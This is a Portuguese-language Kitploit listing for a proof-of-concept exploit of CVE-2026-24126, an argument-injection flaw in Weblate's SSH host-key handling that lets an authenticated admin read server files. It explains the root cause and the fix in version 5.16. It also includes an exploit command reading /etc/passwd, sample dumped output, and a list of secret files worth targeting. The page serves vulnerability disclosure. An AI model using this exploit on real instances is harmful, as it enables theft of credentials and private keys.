Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Weblate-CVE-2026-24126 — Prova de conceito de exploit para CVE-2026-24126, uma leitura arbitrária de arquivos no Weblate por meio de injeção de argumento de host SSH, permitindo que administradores autenticados leiam arquivos do servidor. | Kitploit
Ferramentas/GitHubGitHub/alexb616/weblate-cve-2026-24126
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

Prova de conceito de exploit para CVE-2026-24126, uma leitura arbitrária de arquivos no Weblate por meio de injeção de argumento de host SSH, permitindo que administradores autenticados leiam arquivos do servidor.

Ver Repositório
1há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Weblate — Leitura Arbitrária de Arquivos via Injeção de Argumento de Host SSH

Descoberto por: Alejandro Baño · Janeiro de 2026 Reconhecido por: Notas de lançamento do Weblate 5.16


Visão Geral

O endpoint de gerenciamento de chaves de host SSH do Weblate passa o parâmetro host fornecido por um administrador autenticado diretamente para ssh-keyscan sem qualquer sanitização ou validação de argumentos. Como o ssh-keyscan aceita a flag -f <arquivo> para ler nomes de host de um arquivo, um atacante com credenciais de administrador pode injetar essa flag como o valor do host e forçar o servidor a abrir um arquivo local arbitrário. A saída de erro resultante (ou stdout) é refletida literalmente de volta ao navegador dentro de um bloco de mensagem de erro, vazando o conteúdo do arquivo.


Detalhes da Vulnerabilidade

CampoValor
AlvoWeblate (instâncias auto-hospedadas)
ComponenteGerenciamento de chaves SSH — weblate/ssh/views.py · add_host_key()
Autenticação necessáriaSim — conta de administrador do Weblate
Versões afetadasTodas as versões ≤ 5.15.2 (testado em 5.0.2 e 5.15.2)
ImpactoLeitura arbitrária de arquivos locais como o usuário do processo do servidor web (weblate, www-data, etc.)
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

Causa Raiz

root@kitploit:~
# weblate/ssh/views.py  — simplificado
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← host é anexado sem validação
    result = subprocess.run(cmdline, ...)

O valor de host vem diretamente do campo host do corpo da requisição POST, sem lista de permissões, sem remoção de hífens iniciais e sem terminador de argumento -- antes do valor fornecido pelo usuário. Isso permite que um atacante injete qualquer flag do ssh-keyscan.

ssh-keyscan -f /etc/passwd lê /etc/passwd como uma lista de nomes de host, falha ao resolver cada linha e produz saída de erro para cada uma delas. Essa saída de erro se propaga através do manipulador CalledProcessError e é exibida dentro de um bloco alert-danger na resposta HTTP.


Prova de Conceito

root@kitploit:~
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

Opções

FlagDescrição
-r / --rhostURL base da instância do Weblate
-u / --usernameNome de usuário do administrador
-p / --passwordSenha do administrador
-f / --fileCaminho do arquivo a ser lido no servidor

Exemplo de saída

root@kitploit:~
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] Login bem-sucedido para o usuário: admin
[*] Enviando payload para http://localhost/manage/ssh/, isso pode levar algum tempo, por favor aguarde...

[+] Conteúdo do arquivo extraído:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit concluído

Impacto

Qualquer arquivo legível pelo usuário do sistema operacional que executa o Weblate (tipicamente o usuário weblate) pode ser exfiltrado através de uma única requisição POST autenticada. Alvos sensíveis incluem:

  • Segredos da aplicação: settings.py, .env, local_settings.py
  • Chaves SSH privadas: /var/lib/weblate/.ssh/id_rsa
  • Credenciais de banco de dados expostas em arquivos de configuração

Correção

Atualize para o Weblate 5.16.0 ou posterior. Esta é a correção oficial lançada pela equipe do Weblate em 18 de fevereiro de 2026, que introduziu validação adequada de entrada no campo de host SSH.

Aviso Legal

Este repositório destina-se exclusivamente a pesquisa de segurança educacional e autorizada. Não use esta ferramenta contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade por uso indevido.

Baixar ferramenta